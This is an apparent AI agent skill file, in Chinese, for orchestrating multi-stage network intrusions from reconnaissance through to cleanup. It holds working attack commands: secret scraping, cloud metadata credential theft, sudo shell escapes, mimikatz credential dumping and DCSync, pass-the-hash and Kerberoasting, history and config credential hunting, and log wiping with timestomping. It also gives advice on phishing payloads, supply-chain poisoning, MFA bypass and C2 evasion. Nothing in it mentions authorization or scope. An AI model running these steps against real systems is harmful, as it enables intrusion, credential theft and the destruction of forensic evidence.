| name | eni-attack-chain |
| description | [DOCUMENTATION ONLY] [仅文档] 全局自动路由 | 攻击链编排：多阶段渗透从侦察到目标达成的路径规划、阶段调度与子技能分发 |
仅文档：本文件是方法论与检查表，不含任何可执行脚本或载荷。
攻击链编排手册
多阶段渗透任务的总调度层。当一个任务不是"打一个点"而是"走完一条链"时——跨阶段、跨技能、跨工具的组合动作——先在这里完成路径规划，再把手头阶段分发给对应子技能执行。
一、什么情况下先来编排层
| 任务信号 | 编排需求 |
|---|
| 完整渗透测试/攻防演练 | 侦察到报告的全流程规划 |
| 从外网入口打到内网核心（域控/数据） | 边界突破→提权→横移→目标的阶段串联 |
| 拿到一个 webshell 或低权 shell，问"接下来怎么走" | 从当前据点向外推导路径 |
| 评估某目标的攻击面/攻击路径 | 多源信息收集后的路径推导 |
| Bug Bounty / SRC 持续性打点 | 多阶段流程的自动化编排 |
| 近源/供应链/钓鱼等复合入口 | 初始访问与后续阶段的衔接 |
| 云环境渗透 | 云资源发现→凭据→提权→跨账号横移 |
不需要编排层的单阶段任务直接分发：端口扫描、单个 Web 漏洞利用、纯 APK 逆向、单机提权等，直接进对应子技能。
二、编排器的职责
编排器不亲自执行工具，它做四件事：定路径、定顺序、定工具、定检查点。
任务进入
│
├─ 明确三个 W：目标资产(What)、现有筹码(What I have)、终点(Where)
├─ 列出候选路径并评估（耗时/隐蔽性/成功率/依赖）
├─ 拆解阶段，为每阶段指定子技能与工具
│
├──> 侦察 → pentest-tools / 信息收集工具
├──> 初始立足 → pentest-tools / apk-reverse / js-reverse
├──> 提权/横移 → pentest-tools(references) / 域攻击
├──> 后渗透 → 凭据、持久化、规避
└──> 报告 → docs-generator / diagram-generator
│
每个阶段结束回到编排层：复盘产出 → 修正路径 → 进入下一阶段
路径卡死时（漏洞不成立、凭据失效、检测拦截），回到编排层换备选路径，不在原地硬耗。
三、七个链式阶段总览
- 侦察（Recon）——资产面、泄露面、人员面、技术栈面
- 初始立足（Initial Access）——把外部视角变成内部据点
- 提权（Privilege Escalation）——低权变高权
- 横移（Lateral Movement）——从一台机器到整个域
- 持久化（Persistence）——据点不因重启/登出而丢
- 规避（Evasion）——全程对抗检测与响应
- 清理（Cleanup）——撤出与痕迹处理
后文按阶段展开。每阶段标注常用工具与关键动作。
四、侦察阶段
4.1 资产面测绘
subfinder -d target.com -all -o subs.txt
amass enum -passive -d target.com -o amass.txt
cat subs.txt amass.txt | sort -u > all_subs.txt
httpx -l all_subs.txt -sc -title -td -o alive.txt
naabu -l all_subs.txt -p - -o ports.txt
nmap -sV -sC -iL alive.txt -oA nmap_out
经验点：
- 子公司的域名往往不在主资产清单里，通过股权关系、备案信息反查关联主体
- test/dev/staging 前缀的资产防护最弱、价值最高
- crt.sh 证书透明日志可以挖出内部域名
4.2 泄露面狩猎
cat js_urls.txt | while read u; do
curl -s "$u" | grep -oiE '(api[_-]?key|secret|token|password)["'\'' ]*[:=]["'\'' ]*[^"'\'' ]{8,}'
done
高价值产出：云厂商 AK/SK、数据库连接串、JWT 签名密钥、VPN 入口凭据、内部系统地址。
4.3 人员面画像
- 社交平台/招聘信息反推组织架构与技术栈
- 邮箱格式规律（名字拼音/工号）用于后续喷洒
- 常用弱口令变体规则：
{拼音}{年份}、{拼音}{首字母大写}{特殊字符}、{工号}
4.4 技术栈指纹
whatweb -i alive.txt --log-json=fp.json
httpx -l alive.txt -td -json -o tech.json
nuclei -l alive.txt -t tech/ -severity info -o tech_hits.txt
wpscan --url https://target.com --enumerate p,t,u --api-token $WPSCAN_TOKEN
五、初始立足阶段
5.1 Web 面突破（最常见入口）
| 类型 | 探测 | 利用思路 |
|---|
| SQL 注入 | sqlmap | 拖库→写文件→命令执行 |
| 模板注入(SSTI) | sstimap | 模板上下文逃逸→RCE |
| 上传缺陷 | Burp 手工 | 绕过校验→webshell→反弹 |
| 反序列化 | ysoserial | 链式 gadget→RCE |
| SSRF | 手工构造 | 打内网端口/云元数据 |
| 未授权面 | nuclei | Actuator/Nacos/Redis/ES 等 |
| 会话类(XSS/CSRF) | xsstrike | 窃取管理员会话 |
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent --tamper=space2comment
sstimap -u "https://target.com/search?q=*"
nuclei -l alive.txt -s critical,high -o vulns.txt
5.2 供应链路径
识别目标依赖的第三方（组件库、SaaS、外包、代维），选择最弱一环：开源包投毒（npm/pip/maven）、供应商系统沦陷后的更新通道滥用、共享 IT 服务商横向。
5.3 钓鱼路径
主题设计贴近真实业务（证书到期、存储配额、绩效通知、报销升级）；载荷形式：宏文档、LNK 伪装、HTML 走私、ISO 挂载（规避 MOTW）、OneNote 嵌脚本；OAuth 授权钓鱼可以绕过口令与 MFA。
5.4 近源路径
| 手段 | 工具 | 产出 |
|---|
| USB 键盘注入 | Rubber Ducky | 一键反弹 shell |
| 伪装线缆 | O.MG Cable | 后门植入 |
| 伪造热点 | Fluxion / Pineapple | 凭据捕获 |
| 门禁克隆 | Proxmark3 | 物理进入 |
| 内网节点投放 | Pi / LAN Turtle | 持久接入点 |
5.5 VPN/远程接入面
- 已知历史洞快速验证（Pulse Secure、Fortinet SSL VPN 系列 CVE）
- 无洞时走口令喷洒，控制速率避免锁账号
5.6 云入口
aws s3 ls s3://<bucket> --no-sign-request
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
六、提权阶段
6.1 Windows
| 技术 | 前提 | 工具 |
|---|
| Potato 族 | SeImpersonate | GodPotato / PrintSpoofer |
| 内核洞 | 补丁缺口 | watson / wesng 先检测 |
| 服务配置缺陷 | 未加引号路径/弱权限 | PowerUp |
| DLL 侧加载 | 可写目录 | ProcMon 找加载点 |
| AlwaysInstallElevated | 注册表开启 | MSI 安装 |
| 计划任务劫持 | 可写任务脚本 | schtasks |
whoami /priv
.\GodPotato.exe -cmd "cmd /c whoami"
.\winPEAS.exe
6.2 Linux
find / -perm -4000 -type f 2>/dev/null
sudo -l
sudo vim -c ':!/bin/bash'
sudo find / -exec /bin/bash \;
uname -r
./linpeas.sh
6.3 数据库
MSSQL xp_cmdshell 开启链路；MySQL UDF；PostgreSQL COPY ... TO PROGRAM——详见 pentest-tools 子技能。
6.4 云
AWS 关注 iam:PassRole+lambda:CreateFunction 组合；Azure 关注应用管理员给服务主体加凭据。
七、横移阶段
7.1 凭据收割
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt
secretsdump.py domain/user:pass@dc_ip
grep -riE 'pass|token|secret' /etc /opt /var/www --include='*.conf' --include='*.env' 2>/dev/null
cat ~/.bash_history | grep -iE 'pass|ssh|token'
7.2 Hash/票据传递
netexec smb 10.0.0.0/24 -u admin -H <NTLM> --exec-method smbexec
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:pass
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
7.3 远程执行通道（按留痕排序）
| 通道 | 留痕 | 命令 |
|---|
| WMI | 低 | wmiexec.py |
| DCOM | 低 | dcomexec.py |
| WinRM | 中 | evil-winrm |
| SMB(PsExec) | 高 | psexec.py |
| SSH 隧道 | 低(Linux) | ssh -D/-L |
7.4 NTLM Relay 组合
Responder 关 SMB/HTTP 只监听 → ntlmrelayx 指向目标集 → Coercer/PetitPotam 触发认证。
7.5 AD 路径挖掘
bloodhound-python 采集 → 找 GenericAll/WriteDacl/约束委派/DCSync 类路径；Certipy 排查 AD CS 模板（ESC1-ESC8）。
八、持久化阶段
8.1 Windows 优先级表（隐蔽性×检测难度）
WMI 事件订阅、DLL 劫持、影子账户（RID 克隆）、Golden Ticket、DSRM 后门为高隐蔽项；计划任务与 Run 键只用于短期。
8.2 Linux
SSH 公钥、crontab、ld.so.preload、PAM 补丁、systemd 单元——按驻留时长与权限需求选型。
8.3 云
Lambda 定时触发回连、Azure AD 应用+凭据、基础镜像投毒。
九、规避阶段
核心在分层：静态签名、行为、内存、网络、日志五个检测面各有一套对抗手法，详见 references/evasion-cheatsheet.md。
C2 选型：Cobalt Strike（团队协作）、Sliver（开源 Go）、Havoc（可定制）、Mythic（多 agent）、AdaptixC2（Kali 2026.1 收录）。
十、清理阶段
wevtutil cl Security; wevtutil cl System; wevtutil cl Application
echo > /var/log/auth.log; history -c && history -w
touch -t 202301010000 <file>
内存残留（Mimikatz dump、beacon 进程）、临时文件、隧道配置一并回收。
十一、行动纪律与复盘
- 每步操作落日志：时间、动作、目标、结果——链路长了以后没有日志无法复盘
- 进入新主机先评估蜜罐特征（异常开放服务、过于诱人的凭据）
- 保持目标可用性：业务中断会同时中断你的链路，也提前暴露行动
- 失败复盘表：
| 失败模式 | 后果 | 改进 |
|---|
| 凭据工具内存残留未清 | 完整路径被溯源 | 用后即清、走进程注入而非落盘 |
| C2 域名被情报标记 | 首连即拦截 | 新注册域+域前置+短周期轮换 |
| 钓鱼触发邮件网关规则 | 提前预警 | 先投测一封观察网关行为 |
| 横移踩蜜罐 | 意图暴露 | 先识别再行动 |
十二、工具索引
| 阶段 | 工具 |
|---|
| 侦察 | subfinder amass httpx naabu nmap whatweb wpscan katana gau |
| 漏洞利用 | nuclei sqlmap sstimap xsstrike burpsuite metasploit |
| 提权 | winPEAS linpeas GodPotato PrintSpoofer watson wesng |
| 横移/域 | mimikatz netexec impacket bloodhound certipy coercer responder evil-winrm |
| C2 | cobalt-strike sliver havoc mythic adaptixc2 |
| 近源 | fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple |
十三、子技能协作路由
| 需求 | 目标 |
|---|
| Web 漏洞深度利用 | pentest-tools/SKILL.md |
| 内网 AD 攻击细节 | pentest-tools/references/network-attack-defense.md |
| 恶意样本逆向 | reverse-engineering/SKILL.md |
| 移动端 | apk-reverse/SKILL.md |
| 前端签名/JS 逆向 | js-reverse/SKILL.md |
| 群体自动化 | pentestswarm |
| AI 辅助 | mcp-kali-server / metasploitmcp / hexstrike-ai |
| 报告与攻击路径图 | docs-generator / diagram-generator |
